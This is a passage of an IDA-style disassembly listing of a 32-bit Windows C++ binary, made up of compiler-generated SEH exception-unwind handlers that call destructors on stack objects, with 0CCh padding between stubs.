SEH_40E220	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438F78:				; DATA XREF: ___:0043F6ECo
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E7A0	proc near		; DATA XREF: sub_40E7A0+2o
		mov	eax, offset dword_43F6C0
		jmp	sub_4367C8
SEH_40E7A0	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438FC8:				; DATA XREF: ___:0043F744o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40EC30	proc near		; DATA XREF: sub_40EC30+2o
		mov	eax, offset dword_43F718
		jmp	sub_4367C8
SEH_40EC30	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40ED70	proc near		; DATA XREF: sub_40ED70+2o
		mov	eax, offset dword_43F758
		jmp	sub_4367C8
SEH_40ED70	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439018:				; DATA XREF: ___:0043F7B4o
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439048:				; DATA XREF: ___:0040F148o
		mov	eax, offset dword_43F788
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_439078:				; DATA XREF: ___:0043F814o
		mov	ecx, [ebp-28h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2ACh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2DAh
		jmp	sub_401B54
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40F600	proc near		; DATA XREF: sub_40F600+2o
		mov	eax, offset dword_43F7E8
		jmp	sub_4367C8
SEH_40F600	endp

; ---------------------------------------------------------------------------
		db 69h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_439268:				; DATA XREF: ___:0043F974o
		mov	ecx, [ebp-10h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2ACh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40FDA0	proc near		; DATA XREF: sub_40FDA0+2o
		mov	eax, offset dword_43F948
		jmp	sub_4367C8
SEH_40FDA0	endp

; ---------------------------------------------------------------------------
		db 47h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-247Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43939B:				; DATA XREF: ___:0043FA2Co
		lea	ecx, [ebp-210Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-207Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393B1:				; DATA XREF: ___:0043FA3Co
		lea	ecx, [ebp-237Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393BC:				; DATA XREF: ___:0043FA44o
		lea	ecx, [ebp-21CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393C7:				; DATA XREF: ___:0043FA4Co
		lea	ecx, [ebp-234Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393D2:				; DATA XREF: ___:0043FA54o
		lea	ecx, [ebp-2064h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393DD:				; DATA XREF: ___:0043FA5Co
		lea	ecx, [ebp-231Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393E8:				; DATA XREF: ___:0043FA64o
		lea	ecx, [ebp-219Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393F3:				; DATA XREF: ___:0043FA6Co
		lea	ecx, [ebp-20DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-22ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439409:				; DATA XREF: ___:0043FA7Co
		lea	ecx, [ebp-22BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439414:				; DATA XREF: ___:0043FA84o
		lea	ecx, [ebp-23DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43941F:				; DATA XREF: ___:0043FA8Co
		lea	ecx, [ebp-216Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43942A:				; DATA XREF: ___:0043FA94o
		lea	ecx, [ebp-2424h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-228Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-225Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439499:				; DATA XREF: ___:0043FADCo
		lea	ecx, [ebp-213Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394A4:				; DATA XREF: ___:0043FAE4o
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4394B2:				; DATA XREF: ___:0043FAECo
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-222Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394E1:				; DATA XREF: ___:0043FB0Co
		lea	ecx, [ebp-2394h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394F7:				; DATA XREF: ___:0043FB1Co
		lea	ecx, [ebp-2334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43950D:				; DATA XREF: ___:0043FB2Co
		lea	ecx, [ebp-2304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439518:				; DATA XREF: ___:0043FB34o
		lea	ecx, [ebp-22D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439523:				; DATA XREF: ___:0043FB3Co
		mov	ecx, [ebp-2480h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43952E:				; DATA XREF: ___:0043FB44o
		lea	ecx, [ebp-22A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439539:				; DATA XREF: ___:0043FB4Co
		lea	ecx, [ebp-2244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43954F:				; DATA XREF: ___:0043FB64o
		lea	ecx, [ebp-2214h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43955A:				; DATA XREF: ___:0043FB74o
		lea	ecx, [ebp-21E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439565:				; DATA XREF: ___:0043FB7Co
		lea	ecx, [ebp-2184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43957B:				; DATA XREF: ___:0043FB94o
		lea	ecx, [ebp-243Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-240Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439591:				; DATA XREF: ___:0043FBACo
		lea	ecx, [ebp-2124h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2154h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395A7:				; DATA XREF: ___:0043FBBCo
		lea	ecx, [ebp-20F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395B2:				; DATA XREF: ___:0043FBC4o
		lea	ecx, [ebp-2094h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2464h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395D3:				; DATA XREF: sub_40FF60+8o
		mov	eax, offset dword_43FA00
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 93h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411860	proc near		; DATA XREF: sub_411860+2o
		mov	eax, offset dword_43FC10
		jmp	sub_4367C8
SEH_411860	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411910	proc near		; DATA XREF: sub_411910+2o
		mov	eax, offset dword_43FC40
		jmp	sub_4367C8
SEH_411910	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4396B8:				; DATA XREF: ___:0043FC9Co
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411990	proc near		; DATA XREF: sub_411990+2o
		mov	eax, offset dword_43FC70
		jmp	sub_4367C8
SEH_411990	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439718:				; DATA XREF: ___:0043FCF4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411A50	proc near		; DATA XREF: sub_411A50+2o
		mov	eax, offset dword_43FCC8
		jmp	sub_4367C8
SEH_411A50	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411B40	proc near		; DATA XREF: sub_411B40+8o
		mov	eax, offset dword_43FD20
		jmp	sub_4367C8
SEH_411B40	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4397E8:				; DATA XREF: ___:0043FDCCo
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411FE0	proc near		; DATA XREF: sub_411FE0+8o
		mov	eax, offset dword_43FDA0
		jmp	sub_4367C8
SEH_411FE0	endp

; ---------------------------------------------------------------------------
		db 2Dh dup(0CCh)
; ---------------------------------------------------------------------------


loc_439890:				; DATA XREF: ___:0043FE6Co
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-48h]
		and	eax, 1
		test	eax, eax
		jz	locret_4398AE
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_4398AE:				; CODE XREF: ___:004398A0j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4126B0	proc near		; DATA XREF: sub_4126B0+2o
		mov	eax, offset dword_43FE40
		jmp	sub_4367C8
SEH_4126B0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398D8:				; DATA XREF: ___:0043FEA4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412970	proc near		; DATA XREF: sub_412970+8o
		mov	eax, offset dword_43FE78
		jmp	sub_4367C8
SEH_412970	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412C10	proc near		; DATA XREF: sub_412C10+2o
		mov	eax, offset dword_43FEB0
		jmp	sub_4367C8
SEH_412C10	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439918:				; DATA XREF: ___:0043FF0Co
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43994E:				; DATA XREF: ___:00412CB8o
		mov	eax, offset dword_43FEE0
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43997B:				; DATA XREF: ___:0043FF6Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014B5

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413120	proc near		; DATA XREF: sub_413120+2o
		mov	eax, offset dword_43FF40
		jmp	sub_4367C8
SEH_413120	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014B5

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413220	proc near		; DATA XREF: sub_413220+2o
		mov	eax, offset dword_43FF88
		jmp	sub_4367C8
SEH_413220	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4132E0	proc near		; DATA XREF: sub_4132E0+2o
		mov	eax, offset dword_43FFD0
		jmp	sub_4367C8
SEH_4132E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4133D0	proc near		; DATA XREF: sub_4133D0+2o
		mov	eax, offset dword_440008
		jmp	sub_4367C8
SEH_4133D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413510	proc near		; DATA XREF: sub_413510+2o
		mov	eax, offset dword_440038
		jmp	sub_4367C8
SEH_413510	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401578
; ---------------------------------------------------------------------------


loc_439A78:				; DATA XREF: ___:00440094o
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413670	proc near		; DATA XREF: sub_413670+2o
		mov	eax, offset dword_440068
		jmp	sub_4367C8
SEH_413670	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439A98:				; DATA XREF: ___:004400CCo
		lea	ecx, [ebp-0A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-8Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4137E0	proc near		; DATA XREF: sub_4137E0+2o
		mov	eax, offset dword_4400A0
		jmp	sub_4367C8
SEH_4137E0	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439AD8:				; DATA XREF: ___:0044010Co
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_401578

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4139B0	proc near		; DATA XREF: sub_4139B0+2o
		mov	eax, offset dword_4400E0
		jmp	sub_4367C8
SEH_4139B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B08:				; DATA XREF: ___:00413AE2o
		mov	eax, offset dword_440120
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B28:				; DATA XREF: ___:0044017Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B30:				; DATA XREF: ___:00440184o
		mov	eax, [ebp-40h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_439B3B:				; DATA XREF: ___:0044018Co
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413B70	proc near		; DATA XREF: sub_413B70+2o
		mov	eax, offset dword_440150
		jmp	sub_4367C8
SEH_413B70	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+64h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B68:				; DATA XREF: ___:004401C4o
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413DA0	proc near		; DATA XREF: sub_413DA0+2o
		mov	eax, offset dword_440198
		jmp	sub_4367C8
SEH_413DA0	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439BBB:				; DATA XREF: ___:0044021Co
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414090	proc near		; DATA XREF: sub_414090+2o
		mov	eax, offset dword_4401F0
		jmp	sub_4367C8
SEH_414090	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
